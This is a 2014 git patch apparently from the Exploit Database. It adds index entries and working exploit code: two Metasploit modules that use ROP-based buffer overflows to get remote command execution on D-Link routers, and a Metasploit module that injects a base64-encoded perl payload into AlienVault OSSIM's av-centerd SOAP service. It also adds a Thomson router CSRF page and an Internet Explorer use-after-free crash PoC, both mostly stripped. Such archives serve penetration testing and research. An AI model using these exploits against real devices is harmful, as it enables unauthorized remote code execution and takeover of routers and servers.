From c28dbf00b069c56e4fbebf94c89853ee38b87e6d Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 26 Jun 2014 04:37:14 +0000 Subject: [PATCH] Updated 06_26_2014 --- files.csv | 5 + platforms/hardware/remote/33862.rb | 132 ++++++++++++++++++++++++ platforms/hardware/remote/33863.rb | 130 ++++++++++++++++++++++++ platforms/hardware/webapps/33866.html | 22 ++++ platforms/linux/remote/33865.rb | 140 ++++++++++++++++++++++++++ platforms/windows/dos/33860.html | 85 ++++++++++++++++ 6 files changed, 514 insertions(+) create mode 100755 platforms/hardware/remote/33862.rb create mode 100755 platforms/hardware/remote/33863.rb create mode 100755 platforms/hardware/webapps/33866.html create mode 100755 platforms/linux/remote/33865.rb create mode 100755 platforms/windows/dos/33860.html diff --git a/files.csv b/files.csv index e0b151387..279e0eb07 100755 --- a/files.csv +++ b/files.csv @@ -30497,3 +30497,8 @@ id,file,description,date,author,platform,type,port 33856,platforms/php/webapps/33856.txt,"Viennabux Beta! 'cat' Parameter SQL Injection Vulnerability",2010-04-09,"Easy Laster",php,webapps,0 33857,platforms/php/webapps/33857.txt,"e107 0.7.x 'e107_admin/banner.php' SQL Injection Vulnerability",2010-04-21,"High-Tech Bridge SA",php,webapps,0 33858,platforms/php/webapps/33858.txt,"DBSite wb CMS 'index.php' Multiple Cross Site Scripting Vulnerabilities",2010-04-21,The_Exploited,php,webapps,0 +33860,platforms/windows/dos/33860.html,"Internet Explorer 8, 9 & 10 - CInput Use-After-Free (MS14-035) - Crash PoC",2014-06-24,"Drozdova Liudmila",windows,dos,0 +33862,platforms/hardware/remote/33862.rb,"D-Link authentication.cgi Buffer Overflow",2014-06-24,metasploit,hardware,remote,80 +33863,platforms/hardware/remote/33863.rb,"D-Link hedwig.cgi Buffer Overflow in Cookie Header",2014-06-24,metasploit,hardware,remote,80 +33865,platforms/linux/remote/33865.rb,"AlienVault OSSIM av-centerd Command Injection",2014-06-24,metasploit,linux,remote,40007 +33866,platforms/hardware/webapps/33866.html,"Thomson TWG87OUIR - POST Password CSRF",2014-06-25,nopesled,hardware,webapps,0 diff --git a/platforms/hardware/remote/33862.rb b/platforms/hardware/remote/33862.rb new file mode 100755 index 000000000..c77166e62 --- /dev/null +++ b/platforms/hardware/remote/33862.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerEcho + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link authentication.cgi Buffer Overflow', + 'Description' => %q{ + This module exploits an remote buffer overflow vulnerability on several D-Link routers. + The vulnerability exists in the handling of HTTP queries to the authentication.cgi with + long password values. The vulnerability can be exploitable without authentication. This + module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares + such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module + 'Michael Messner ', # Metasploit module and verification on several other routers + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'References' => + [ + ['OSVDB', '95951'], + ['EDB', '27283'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site + ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory + ], + 'Targets' => + [ + [ 'D-Link DIR-645 1.03', + { + 'Offset' => 1011, + 'LibcBase' => 0x2aaf8000, #Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/authentication.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :linemax => 200, + :concat_operator => " && " + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + uid = rand_text_alpha(4) + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/authentication.cgi", + 'cookie' => "uid=#{uid}", + 'encode_params' => false, + 'vars_post' => { + 'uid' => uid, + 'password' => rand_text_alpha(3) + shellcode, + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end \ No newline at end of file diff --git a/platforms/hardware/remote/33863.rb b/platforms/hardware/remote/33863.rb new file mode 100755 index 000000000..5767eeb18 --- /dev/null +++ b/platforms/hardware/remote/33863.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerEcho + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on several D-Link + routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with + long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600 + and the DIR645A1_FW103B11 firmware. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit + 'Michael Messner ', # Metasploit module and verification on several other routers + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '95950'], + ['EDB', '27283'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site + ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Targets' => + [ + [ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600', + { + 'Offset' => 973, + 'LibcBase' => 0x2aaf8000, # Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/hedwig.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :linemax => 200, + :concat_operator => " && " + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/hedwig.cgi", + 'cookie' => "uid=#{shellcode}", + 'encode_params' => false, + 'vars_post' => { + rand_text_alpha(4) => rand_text_alpha(4) + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end \ No newline at end of file diff --git a/platforms/hardware/webapps/33866.html b/platforms/hardware/webapps/33866.html new file mode 100755 index 000000000..5ad86d0c6 --- /dev/null +++ b/platforms/hardware/webapps/33866.html @@ -0,0 +1,22 @@ +#Author: nopesled +#Date: 24/06/14 +#Vulnerability: POST Password Reset CSRF +#Tested on: Thomson TWG87OUIR (Hardware Version) + + + + Thomson TWG87OUIR CSRF + + +
+ + + + +
+ + + \ No newline at end of file diff --git a/platforms/linux/remote/33865.rb b/platforms/linux/remote/33865.rb new file mode 100755 index 000000000..b1ca59017 --- /dev/null +++ b/platforms/linux/remote/33865.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AlienVault OSSIM av-centerd Command Injection', + 'Description' => %q{ + This module exploits a code execution flaw in AlienVault 4.6.1 and + prior. The vulnerability exists in the av-centerd SOAP web service, + where the update_system_info_debian_package method uses perl backticks + in an insecure way, allowing command injection. This module has been + tested successfully on AlienVault 4.6.0. + }, + 'Author' => + [ + 'Unknown', # From HP ZDI team, Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3804'], + ['BID', '67999'], + ['ZDI', '14-202'], + ['URL', 'http://forums.alienvault.com/discussion/2690'] + ], + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + #'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied + 'Compat' => { + 'RequiredCmd' => 'perl netcat-e openssl python gawk' + } + }, + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Targets' => + [ + [ 'AlienVault <= 4.6.1', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 5 2014')) + + register_options( + [ + Opt::RPORT(40007) + ], self.class) + end + + def check + version = "" + res = send_soap_request("get_dpkg") + + if res && + res.code == 200 && + res.headers['SOAPServer'] && + res.headers['SOAPServer'] =~ /SOAP::Lite/ && + res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/ + + version = $1 + end + + if version.empty? || version >= "4.7.0" + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Appears + end + end + + def exploit + send_soap_request("update_system_info_debian_package", 1) + end + + def build_soap_request(method) + xml = Document.new + xml.add_element( + "soap:Envelope", + { + 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", + 'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/", + 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", + 'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/", + 'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/" + }) + body = xml.root.add_element("soap:Body") + m = body.add_element( + method, + { + 'xmlns' => "AV/CC/Util" + }) + args = [] + args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'}) + args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'}) + args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'}) + args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'}) + (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) } + + if method == "update_system_info_debian_package" + args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'}) + perl_payload = "system(decode_base64" + perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))" + args[4].text = "#{rand_text_alpha(4 + rand(4))}" + args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'" + end + + xml.to_s + end + + def send_soap_request(method, timeout = 20) + soap = build_soap_request(method) + + res = send_request_cgi({ + 'uri' => '/av-centerd', + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => soap, + 'headers' => { + 'SOAPAction' => "\"AV/CC/Util##{method}\"" + } + }, timeout) + + res + end + +end \ No newline at end of file diff --git a/platforms/windows/dos/33860.html b/platforms/windows/dos/33860.html new file mode 100755 index 000000000..1d15afa25 --- /dev/null +++ b/platforms/windows/dos/33860.html @@ -0,0 +1,85 @@ + + +MS14-035 Internet Explorer CInput Use-after-free POC + + +
+ +Test check
+ + +
+ + + + + + + + + \ No newline at end of file